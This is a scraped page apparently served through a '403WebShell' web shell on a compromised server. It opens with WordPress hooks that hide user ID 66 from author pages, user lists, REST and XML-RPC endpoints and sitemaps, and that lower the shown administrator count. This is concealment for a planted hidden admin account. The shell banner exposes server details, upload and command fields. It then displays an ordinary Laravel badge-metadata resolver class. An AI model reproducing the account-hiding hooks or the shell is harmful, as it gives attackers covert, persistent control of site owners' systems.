add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/emaji/app/Services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/emaji/app/Services/BadgeImageResolver.php
<?php

namespace App\Services;

use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Str;

/**
 * Resolves badge metadata from achievement IDs
 *
 * Tries multiple strategies:
 * 1. Badgau badge classes (if configured)
 * 2. OB3 badge class URL resolution
 * 3. Fallback to placeholder
 *
 * Returns metadata including:
 * - image URL
 * - title
 * - issuer info (url, did, name)
 */
class BadgeImageResolver
{
    protected ?string $badgauBaseUrl;
    protected ?string $badgauApiToken;

    public function __construct()
    {
        $this->badgauBaseUrl = config('services.badgau.url');
        $this->badgauApiToken = config('services.badgau.api_token');
    }

    /**
     * Resolve image URL for an achievement ID
     *
     * @param string $achievementId The badge class URL/URN
     * @return string|null The image URL or null if not resolved
     */
    public function resolve(string $achievementId): ?string
    {
        $metadata = $this->resolveMetadata($achievementId);
        return $metadata['image_url'] ?? null;
    }

    /**
     * Resolve full metadata for an achievement ID
     *
     * @param string $achievementId The badge class URL/URN
     * @return array{
     *   image_url: ?string,
     *   title: ?string,
     *   description: ?string,
     *   issuer_url: ?string,
     *   issuer_did: ?string,
     *   issuer_name: ?string
     * }
     */
    public function resolveMetadata(string $achievementId): array
    {
        // Check cache first (1 hour TTL)
        $cacheKey = 'badge_metadata:' . md5($achievementId);
        if (Cache::has($cacheKey)) {
            return Cache::get($cacheKey);
        }

        $metadata = [
            'image_url' => null,
            'title' => null,
            'description' => null,
            'issuer_url' => null,
            'issuer_did' => null,
            'issuer_name' => null,
        ];

        // Strategy 1: Check if it's a badgau badge
        if ($this->badgauBaseUrl && $this->isBadgauBadge($achievementId)) {
            $metadata['image_url'] = $this->resolveFromBadgau($achievementId);
        }

        // Strategy 2: Try to resolve as OB3 URL (gets full metadata)
        if ($this->isResolvableUrl($achievementId)) {
            $ob3Metadata = $this->resolveMetadataFromOB3Url($achievementId);
            if ($ob3Metadata) {
                $metadata = array_merge($metadata, array_filter($ob3Metadata));
            }
        }

        // Strategy 3: Try to extract UUID and check badgau for image
        if (!$metadata['image_url'] && $this->badgauBaseUrl) {
            $uuid = $this->extractUuid($achievementId);
            if ($uuid) {
                $metadata['image_url'] = $this->resolveFromBadgauByUuid($uuid);
            }
        }

        // Cache result (even if empty, to avoid repeated failed lookups)
        Cache::put($cacheKey, $metadata, now()->addHour());

        return $metadata;
    }

    /**
     * Check if achievement ID appears to be from badgau
     */
    protected function isBadgauBadge(string $achievementId): bool
    {
        if (!$this->badgauBaseUrl) {
            return false;
        }

        return Str::contains($achievementId, [
            parse_url($this->badgauBaseUrl, PHP_URL_HOST),
            'badgau.net',
            'badgau.com',
        ]);
    }

    /**
     * Check if string is a resolvable HTTP URL
     */
    protected function isResolvableUrl(string $achievementId): bool
    {
        return Str::startsWith($achievementId, ['http://', 'https://']);
    }

    /**
     * Extract UUID from URN or URL
     */
    protected function extractUuid(string $achievementId): ?string
    {
        // Pattern: urn:uuid:XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX
        if (preg_match('/urn:uuid:([a-f0-9-]{36})/i', $achievementId, $matches)) {
            return $matches[1];
        }

        // Pattern: UUID in URL path
        if (preg_match('/([a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12})/i', $achievementId, $matches)) {
            return $matches[1];
        }

        return null;
    }

    /**
     * Resolve image from badgau by achievement URL
     */
    protected function resolveFromBadgau(string $achievementId): ?string
    {
        try {
            // Try to extract badge class UUID from URL
            $uuid = $this->extractUuid($achievementId);
            if ($uuid) {
                return $this->resolveFromBadgauByUuid($uuid);
            }
        } catch (\Exception $e) {
            Log::warning("Failed to resolve badge from badgau: {$achievementId}", ['error' => $e->getMessage()]);
        }

        return null;
    }

    /**
     * Resolve image from badgau by UUID
     */
    protected function resolveFromBadgauByUuid(string $uuid): ?string
    {
        // Badgau stores images at: /badge_images/bc_{uuid}.png
        $imageUrl = rtrim($this->badgauBaseUrl, '/') . "/badge_images/bc_{$uuid}.png";

        // Verify image exists with HEAD request
        try {
            $response = Http::timeout(5)->head($imageUrl);
            if ($response->successful()) {
                return $imageUrl;
            }
        } catch (\Exception $e) {
            // Image doesn't exist or request failed
        }

        return null;
    }

    /**
     * Resolve full metadata from OB3 badge class URL
     */
    protected function resolveMetadataFromOB3Url(string $url): ?array
    {
        try {
            $response = Http::timeout(10)
                ->withHeaders([
                    'Accept' => 'application/json, application/ld+json',
                ])
                ->get($url);

            if (!$response->successful()) {
                return null;
            }

            $data = $response->json();

            return $this->extractMetadataFromOB3($data);
        } catch (\Exception $e) {
            Log::warning("Failed to resolve OB3 badge: {$url}", ['error' => $e->getMessage()]);
        }

        return null;
    }

    /**
     * Extract full metadata from OB3 JSON structure
     */
    protected function extractMetadataFromOB3(array $data): array
    {
        $metadata = [
            'image_url' => null,
            'title' => null,
            'description' => null,
            'issuer_url' => null,
            'issuer_did' => null,
            'issuer_name' => null,
        ];

        // Find the achievement data (could be at root, in credentialSubject, or as 'achievement')
        $achievement = $data;
        if (isset($data['credentialSubject']['achievement'])) {
            $achievement = $data['credentialSubject']['achievement'];
        } elseif (isset($data['achievement'])) {
            $achievement = $data['achievement'];
        }

        // Extract image
        if (isset($achievement['image'])) {
            $metadata['image_url'] = $this->normalizeImageValue($achievement['image']);
        } elseif (isset($data['image'])) {
            $metadata['image_url'] = $this->normalizeImageValue($data['image']);
        }

        // Extract title/name
        $metadata['title'] = $achievement['name'] ?? $data['name'] ?? null;

        // Extract description
        $metadata['description'] = $achievement['description'] ?? $data['description'] ?? null;

        // Extract issuer information
        $issuer = $data['issuer'] ?? $achievement['issuer'] ?? null;
        if ($issuer) {
            $metadata = array_merge($metadata, $this->extractIssuerInfo($issuer));
        }

        return $metadata;
    }

    /**
     * Extract issuer information from issuer field
     */
    protected function extractIssuerInfo($issuer): array
    {
        $info = [
            'issuer_url' => null,
            'issuer_did' => null,
            'issuer_name' => null,
        ];

        // Issuer can be a string (URL/DID) or an object
        if (is_string($issuer)) {
            if (Str::startsWith($issuer, 'did:')) {
                $info['issuer_did'] = $issuer;
            } else {
                $info['issuer_url'] = $issuer;
            }
        } elseif (is_array($issuer)) {
            // Extract URL/ID
            $id = $issuer['id'] ?? $issuer['url'] ?? null;
            if ($id) {
                if (Str::startsWith($id, 'did:')) {
                    $info['issuer_did'] = $id;
                } else {
                    $info['issuer_url'] = $id;
                }
            }

            // Check for separate DID field
            if (isset($issuer['did'])) {
                $info['issuer_did'] = $issuer['did'];
            }

            // Extract name
            $info['issuer_name'] = $issuer['name'] ?? null;
        }

        return $info;
    }

    /**
     * Extract image URL from OB3 JSON structure (legacy method)
     */
    protected function extractImageFromOB3(array $data): ?string
    {
        return $this->extractMetadataFromOB3($data)['image_url'];
    }

    /**
     * Normalize image value (could be string URL or object with id)
     */
    protected function normalizeImageValue($image): ?string
    {
        if (is_string($image)) {
            return $image;
        }

        if (is_array($image)) {
            return $image['id'] ?? $image['url'] ?? null;
        }

        return null;
    }

    /**
     * Get placeholder image URL
     */
    public static function placeholder(): string
    {
        return '/images/badge-placeholder.svg';
    }

    /**
     * Clear cache for an achievement ID
     */
    public function clearCache(string $achievementId): void
    {
        $cacheKey = 'badge_image:' . md5($achievementId);
        Cache::forget($cacheKey);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit